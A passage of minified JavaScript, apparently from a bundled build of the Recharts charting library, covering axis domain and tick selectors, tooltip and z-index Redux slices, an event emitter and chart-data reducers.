Set(r))},U4=e=>e.referenceElements.dots,xs=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),CI=T([U4,Ze,sl],xs),V4=e=>e.referenceElements.areas,PI=T([V4,Ze,sl],xs),H4=e=>e.referenceElements.lines,EI=T([H4,Ze,sl],xs),K4=(e,t)=>{if(e!=null){var n=Mr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},AI=T(CI,Ze,K4),q4=(e,t)=>{if(e!=null){var n=Mr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},_I=T([PI,Ze],q4);function OI(e){var t;if(e.x!=null)return Mr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Mr(n)}function TI(e){var t;if(e.y!=null)return Mr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Mr(n)}var Y4=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?OI(r):TI(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},MI=T([EI,Ze],Y4),LI=T(AI,MI,_I,(e,t,n)=>Pu(e,n,t)),D0=(e,t,n,r,i,a,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?Pu(r,a,i):Pu(a,i);return K7(t,u,e.allowDataOverflow)},II=T([tt,M0,L0,jI,NI,LI,Me,Ze],D0,{memoizeOptions:{resultEqualityCheck:Gd}}),DI=[0,1],R0=(e,t,n,r,i,a,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=fr(t,a);if(u&&l==null){var d;return _N(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?zI(r,e,u):i==="expand"?DI:o}},$0=T([tt,Me,_0,Zd,al,Ze,II],R0);function RI(e){return e in qs}var G4=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var a="scale".concat(Go(r));return RI(a)?a:"point"}}},Ni=T([tt,L4,g0],G4);function B0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?ub(e.scale,n,r):ub(t,n,r)}var F0=(e,t,n)=>{var r=T0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Tr(e))return Z7(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Tr(e))return Q7(e,t.tickCount,t.allowDecimals)}},W0=T([$0,hs,Ni],F0),U0=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&Tr(t)&&Array.isArray(n)&&n.length>0){var i,a,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(a=n[n.length-1])!==null&&a!==void 0?a:0;return[Math.min(o,l),Math.max(c,u)]}return t},$I=T([tt,$0,W0,Ze],U0),BI=T(Zd,tt,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Mr(e.map(f=>f.value))).sort((f,m)=>f-m),i=r[0],a=r[r.length-1];if(i==null||a==null)return 1/0;var o=a-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!ze(e))return 0;var a=t==="vertical"?r.height:r.width;if(i==="gap")return e*a/2;if(i==="no-gap"){var o=sn(n,e*a),l=e*a/2;return l-o-(l-o)/a*o}return 0}),FI=(e,t,n)=>{var r=Wr(e,t);return r==null||typeof r.padding!="string"?0:X4(e,"xAxis",t,n,r.padding)},WI=(e,t,n)=>{var r=Ur(e,t);return r==null||typeof r.padding!="string"?0:X4(e,"yAxis",t,n,r.padding)},UI=T(Wr,FI,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),VI=T(Ur,WI,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),HI=T([yt,UI,Od,_d,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:a}=r;return i?[a.left,n.width-a.right]:[e.left+t.left,e.left+e.width-t.right]}),KI=T([yt,Me,VI,Od,_d,(e,t,n)=>n],(e,t,n,r,i,a)=>{var{padding:o}=i;return a?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),cl=(e,t,n,r)=>{var i;switch(t){case"xAxis":return HI(e,n,r);case"yAxis":return KI(e,n,r);case"zAxis":return(i=z0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return P4(e);case"radiusAxis":return E4(e,n);default:return}},Z4=T([tt,cl],qd),qI=T([Ni,$I],O4),Jd=T([tt,Ni,qI,Z4],B0);T([ol,Qd,Ze],kI);function Q4(e,t){return e.idt.id?1:0}var ef=(e,t)=>t,tf=(e,t,n)=>n,YI=T(Ed,ef,tf,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(Q4)),GI=T(Ad,ef,tf,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(Q4)),J4=(e,t)=>({width:e.width,height:t.height}),XI=(e,t)=>{var n=typeof t.width=="number"?t.width:Qo;return{width:n,height:e.height}};T(yt,Wr,J4);var ZI=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},QI=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},JI=T($r,yt,YI,ef,tf,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=J4(t,l);o==null&&(o=ZI(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;a[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),a}),eD=T(Rr,yt,GI,ef,tf,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=XI(t,l);o==null&&(o=QI(t,r,e));var u=r==="left"&&!i||r==="right"&&i;a[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),a}),tD=(e,t)=>{var n=Wr(e,t);if(n!=null)return JI(e,n.orientation,n.mirror)};T([yt,Wr,tD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var nD=(e,t)=>{var n=Ur(e,t);if(n!=null)return eD(e,n.orientation,n.mirror)};T([yt,Ur,nD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});T(yt,Ur,(e,t)=>{var n=typeof t.width=="number"?t.width:Qo;return{width:n,height:e.height}});var e3=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:a,dataKey:o}=n,l=fr(e,r),c=t.map(u=>u.value);if(o&&l&&a==="category"&&i&&Wj(c))return c}},V0=T([Me,Zd,tt,Ze],e3),t3=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:a}=n,o=fr(e,r);if(o&&(i==="number"||a!=="auto"))return t.map(l=>l.value)}},H0=T([Me,Zd,hs,Ze],t3);T([Me,hI,Ni,Jd,V0,H0,cl,W0,Ze],(e,t,n,r,i,a,o,l,c)=>{if(t!=null){var u=fr(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:a,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var rD=(e,t,n,r,i,a,o,l,c)=>{if(!(t==null||r==null)){var u=fr(e,c),{type:d,ticks:f,tickCount:m}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&a!=null&&a.length>=2?Ut(a[0]-a[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return ze(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(nr):u&&l?l.map((y,v)=>{var b=r.map(y);return ze(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(nr):r.ticks?r.ticks(m).map((y,v)=>{var b=r.map(y);return ze(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(nr):r.domain().map((y,v)=>{var b=r.map(y);return ze(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(nr)}};T([Me,hs,Ni,Jd,W0,cl,V0,H0,Ze],rD);var iD=(e,t,n,r,i,a,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=fr(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?Ut(r[0]-r[1])*2*u:u,l&&a?a.map((d,f)=>{var m=n.map(d);return ze(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(nr):n.ticks?n.ticks(c).map((d,f)=>{var m=n.map(d);return ze(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(nr):n.domain().map((d,f)=>{var m=n.map(d);return ze(m)?{coordinate:m+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(nr)}},n3=T([Me,hs,Jd,cl,V0,H0,Ze],iD),r3=T(tt,Jd,(e,t)=>{if(!(e==null||t==null))return Cu(Cu({},e),{},{scale:t})}),aD=T([tt,Ni,$0,Z4],B0);T((e,t,n)=>z0(e,n),aD,(e,t)=>{if(!(e==null||t==null))return Cu(Cu({},e),{},{scale:t})});var sD=T([Me,Ed,Ad],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),i3=e=>e.options.defaultTooltipEventType,a3=e=>e.options.validateTooltipEventTypes;function s3(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function K0(e,t){var n=i3(e),r=a3(e);return s3(t,n,r)}function oD(e){return ye(t=>K0(t,e))}var o3=(e,t)=>{var n,r=Number(t);if(!(lr(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},lD=e=>e.tooltip.settings,Zr={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},cD={itemInteraction:{click:Zr,hover:Zr},axisInteraction:{click:Zr,hover:Zr},keyboardInteraction:Zr,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},l3=Xt({name:"tooltip",initialState:cD,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:Ue()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Fn(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:Ue()},removeTooltipEntrySettings:{reducer(e,t){var n=Fn(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:Ue()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:uD,replaceTooltipEntrySettings:dD,removeTooltipEntrySettings:fD,setTooltipSettingsState:pD,setActiveMouseOverItemIndex:c3,mouseLeaveItem:mD,mouseLeaveChart:u3,setActiveClickItemIndex:hD,setMouseOverAxisIndex:d3,setMouseClickAxisIndex:xD,setSyncInteraction:lh,setKeyboardInteraction:ch}=l3.actions,vD=l3.reducer;function pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Vl(e){for(var t=1;t{if(t==null)return Zr;var i=wD(e,t,n);if(i==null)return Zr;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var a=e.settings.active===!0;if(jD(i)){if(a)return Vl(Vl({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return Vl(Vl({},Zr),{},{coordinate:i.coordinate})};function kD(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function ND(e,t){var n=kD(e),r=t[0],i=t[1];if(n===void 0)return!1;var a=Math.min(r,i),o=Math.max(r,i);return n>=a&&n<=o}function SD(e,t,n){if(n==null||t==null)return!0;var r=Fe(e,t);return r==null||!Tr(n)?!0:ND(r,n)}var q0=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var a=Number(i);if(!ze(a))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(a,l)),u=t[c];return u==null||SD(u,n,r)?String(c):null},p3=(e,t,n,r,i,a,o)=>{if(a!=null){var l=o[0],c=l==null?void 0:l.getPosition(a);if(c!=null)return c;var u=i==null?void 0:i[Number(a)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},m3=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var a=e.tooltipItemPayloads[0];return a!=null?[a]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},h3=e=>e.options.tooltipPayloadSearcher,vs=e=>e.tooltip;function mb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function hb(e){for(var t=1;t{if(!(t==null||a==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((m,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=ED(g,l),b=Array.isArray(v)?Zk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,k;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?k=Uj(b,r,i):k=a(b,t,c,j),Array.isArray(k))k.forEach(N=>{var z=hb(hb({},y),{},{name:N.name,unit:N.unit,color:void 0,fill:void 0});m.push(ky({tooltipEntrySettings:z,dataKey:N.dataKey,payload:N.payload,value:Fe(N.payload,N.dataKey),name:N.name}))});else{var S;m.push(ky({tooltipEntrySettings:y,dataKey:w,payload:k,value:Fe(k,w),name:(S=Fe(k,j))!==null&&S!==void 0?S:y==null?void 0:y.name}))}return m},f)}},Y0=T([mt,L4,g0],G4),AD=T([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),_D=T([wt,ms],C0),gs=T([AD,mt,_D],P0,{memoizeOptions:{resultEqualityCheck:Xd}}),OD=T([gs],e=>e.filter(S0)),TD=T([gs],E0,{memoizeOptions:{resultEqualityCheck:Xd}}),ys=T([TD,Fr],A0),MD=T([OD,Fr,mt],_4),G0=T([ys,mt,gs],O0),v3=T([mt],T0),LD=T([mt],e=>e.allowDataOverflow),g3=T([v3,LD],f4),ID=T([gs],e=>e.filter(S0)),DD=T([MD,ID,al,k4],B4),RD=T([DD,Fr,wt,g3],W4),$D=T([gs],R4),BD=T([ys,mt,$D,Qd,wt],I0,{memoizeOptions:{resultEqualityCheck:Gd}}),FD=T([U4,wt,ms],xs),WD=T([FD,wt],K4),UD=T([V4,wt,ms],xs),VD=T([UD,wt],q4),HD=T([H4,wt,ms],xs),KD=T([HD,wt],Y4),qD=T([WD,KD,VD],Pu),YD=T([mt,v3,g3,RD,BD,qD,Me,wt],D0),ul=T([mt,Me,ys,G0,al,wt,YD],R0),GD=T([ul,mt,Y0],F0),XD=T([mt,ul,GD,wt],U0),y3=e=>{var t=wt(e),n=ms(e),r=!1;return cl(e,t,n,r)},b3=T([mt,y3],qd),w3=T([mt,Y0,XD,b3],B0),ZD=T([Me,G0,mt,wt],e3),QD=T([Me,G0,mt,wt],t3),JD=(e,t,n,r,i,a,o,l)=>{if(t){var{type:c}=t,u=fr(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?Ut(i[0]-i[1])*2*f:f,u&&o?o.map((m,h)=>{var x=r.map(m);return ze(x)?{coordinate:x+f,value:m,index:h,offset:f}:null}).filter(nr):r.domain().map((m,h)=>{var x=r.map(m);return ze(x)?{coordinate:x+f,value:a?a[m]:m,index:h,offset:f}:null}).filter(nr)}}},Vr=T([Me,mt,Y0,w3,y3,ZD,QD,wt],JD),X0=T([i3,a3,lD],(e,t,n)=>s3(n.shared,e,t)),j3=e=>e.tooltip.settings.trigger,Z0=e=>e.tooltip.settings.defaultIndex,dl=T([vs,X0,j3,Z0],f3),ns=T([dl,ys,ll,ul],q0),k3=T([Vr,ns],o3),N3=T([dl],e=>{if(e)return e.dataKey}),eR=T([dl],e=>{if(e)return e.graphicalItemId}),S3=T([vs,X0,j3,Z0],m3),tR=T([Rr,$r,Me,yt,Vr,Z0,S3],p3),nR=T([dl,tR],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),rR=T([dl],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),iR=T([S3,ns,Fr,ll,k3,h3,X0],x3),aR=T([iR],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function xb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function vb(e){for(var t=1;tye(mt),uR=()=>{var e=cR(),t=ye(Vr),n=ye(w3);return su(!e||!n?void 0:vb(vb({},e),{},{scale:n}),t)};function gb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ma(e){for(var t=1;t{var i=t.find(a=>a&&a.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},hR=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var a=i.coordinate,{radius:o}=r;return ma(ma(ma({},r),st(r.cx,r.cy,o,a)),{},{angle:a,radius:o})}var l=i.coordinate,{angle:c}=r;return ma(ma(ma({},r),st(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function xR(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var z3=(e,t,n,r,i)=>{var a,o=(a=t==null?void 0:t.length)!==null&&a!==void 0?a:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(m=n[l+1])===null||m===void 0?void 0:m.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(Ut(x-h)!==Ut(g-x)){var v=[];if(Ut(g-x)===Ut(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var k;return(k=n[l])===null||k===void 0?void 0:k.index}}else{var S=Math.min(h,g),N=Math.max(h,g);if(e>(S+x)/2&&e<=(N+x)/2){var z;return(z=n[l])===null||z===void 0?void 0:z.index}}}else if(t)for(var _=0;_(A.coordinate+P.coordinate)/2||_>0&&_(A.coordinate+P.coordinate)/2&&e<=(A.coordinate+O.coordinate)/2)return A.index}}return-1},C3=()=>ye(g0),Q0=(e,t)=>t,P3=(e,t,n)=>n,J0=(e,t,n,r)=>r,vR=T(Vr,e=>gd(e,t=>t.coordinate)),ev=T([vs,Q0,P3,J0],f3),tv=T([ev,ys,ll,ul],q0),gR=(e,t,n)=>{if(t!=null){var r=vs(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},E3=T([vs,Q0,P3,J0],m3),Eu=T([Rr,$r,Me,yt,Vr,J0,E3],p3),yR=T([ev,Eu],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),A3=T([Vr,tv],o3),bR=T([E3,tv,Fr,ll,A3,h3,Q0],x3),wR=T([ev,tv],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),jR=(e,t,n,r,i,a,o)=>{if(!(!e||!n||!r||!i)&&xR(e,o)){var l=cT(e,t),c=z3(l,a,i,n,r),u=mR(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},kR=(e,t,n,r,i,a,o)=>{if(!(!e||!r||!i||!a||!n)){var l=d8(e,n);if(l){var c=uT(l,t),u=z3(c,o,a,r,i),d=hR(t,a,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},NR=(e,t,n,r,i,a,o,l)=>{if(!(!e||!t||!r||!i||!a))return t==="horizontal"||t==="vertical"?jR(e,t,r,i,a,o,l):kR(e,t,n,r,i,a,o)},SR=T(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),zR=T(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Ht)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:oI}});function yb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function bb(e){for(var t=1;tbb(bb({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),AR)},OR=new Set(Object.values(Ht));function TR(e){return OR.has(e)}var _3=Xt({name:"zIndex",initialState:_R,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:Ue()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!TR(n)&&delete e.zIndexMap[n])},prepare:Ue()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:Ue()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:Ue()}}}),{registerZIndexPortal:MR,unregisterZIndexPortal:LR,registerZIndexPortalElement:IR,unregisterZIndexPortalElement:DR}=_3.actions,RR=_3.reducer;function Si(e){var{zIndex:t,children:n}=e,r=BT(),i=r&&t!==void 0&&t!==0,a=Kn(),o=it();p.useLayoutEffect(()=>i?(o(MR({zIndex:t})),()=>{o(LR({zIndex:t}))}):cs,[o,t,i]);var l=ye(c=>SR(c,t,a));return i?l?fx.createPortal(n,l):null:n}function uh(){return uh=Object.assign?Object.assign.bind():function(e){for(var t=1;tp.useContext(O3),T3={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function a(c,u,d,f,m){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,m),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var m=0,h=f.length,x=new Array(h);m{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!lr(n))return e[n]}},YR={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},L3=Xt({name:"options",initialState:YR,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),GR=L3.reducer,{createEventEmitter:XR}=L3.actions;function ZR(e){return e.tooltip.syncInteraction}var QR={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},I3=Xt({name:"chartData",initialState:QR,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:kb,setDataStartEndIndexes:JR,setComputedData:IV}=I3.actions,e9=I3.reducer,t9=["x","y"];function Nb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ha(e){for(var 